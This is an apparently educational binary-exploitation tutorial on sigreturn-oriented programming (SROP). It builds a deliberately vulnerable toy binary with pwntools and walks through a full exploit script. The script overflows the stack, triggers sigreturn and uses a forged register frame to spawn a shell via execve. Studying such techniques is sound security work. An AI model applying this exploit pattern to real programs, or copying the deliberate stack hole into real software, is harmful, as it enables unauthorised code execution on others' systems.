Overview

A sigreturn is a special type of syscall. The purpose of sigreturn is to return from the signal handler and to clean up the stack frame after a signal has been unblocked.

What this involves is storing all the register values on the stack. Once the signal is unblocked, all the values are popped back in (RSP points to the bottom of the sigreturn frame, this collection of register values).

Exploitation

By leveraging a sigreturn, we can control all register values at once - amazing! Yet this is also a drawback - we can't pick-and-choose registers, so if we don't have a stack leak it'll be hard to set registers like RSP to a workable value. Nevertheless, this is a super powerful technique - especially with limited gadgets.

Source

As with the syscalls, I made the binary using the pwntools ELF features:

from pwn import *

context.arch = 'amd64'
context.os = 'linux'

elf = ELF.from_assembly(
    '''
        mov rdi, 0;
        mov rsi, rsp;
        sub rsi, 8;
        mov rdx, 500;
        syscall;
        ret;
        
        pop rax;
        ret;
    ''', vma=0x41000
)
elf.save('vuln')

It's quite simple - a read syscall, followed by a pop rax; ret gadget. You can't control RDI/RSI/RDX, which you need to pop a shell, so you'll have to use SROP.

Once again, I added /bin/sh to the binary:

echo -en "/bin/bash\x00" >> vuln

Exploitation

First let's plonk down the available gadgets and their location, as well as the location of /bin/sh.

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

From here, I suggest you try the payload yourself. The padding (as you can see in the assembly) is 8 bytes until RIP, then you'll need to trigger a sigreturn, followed by the values of the registers.

The triggering of a sigreturn is easy - sigreturn is syscall 0xf (15), so we just pop that into RAX and call syscall:

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)
payload += p64(SYSCALL_RET)

Now the syscall looks at the location of RSP for the register values; we'll have to fake them. They have to be in a specific order, but luckily for us pwntools has a cool feature called a SigreturnFrame() that handles the order for us.

frame = SigreturnFrame()

Now we just need to decide what the register values should be. We want to trigger an execve() syscall, so we'll set the registers to the values we need for that:

frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL

However, in order to trigger this we also have to control RIP and point it back at the syscall gadget, so the execve actually executes:

frame.rip = SYSCALL_RET

We then append it to the payload and send.

payload += bytes(frame)

p.sendline(payload)
p.interactive()

Final Exploit

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()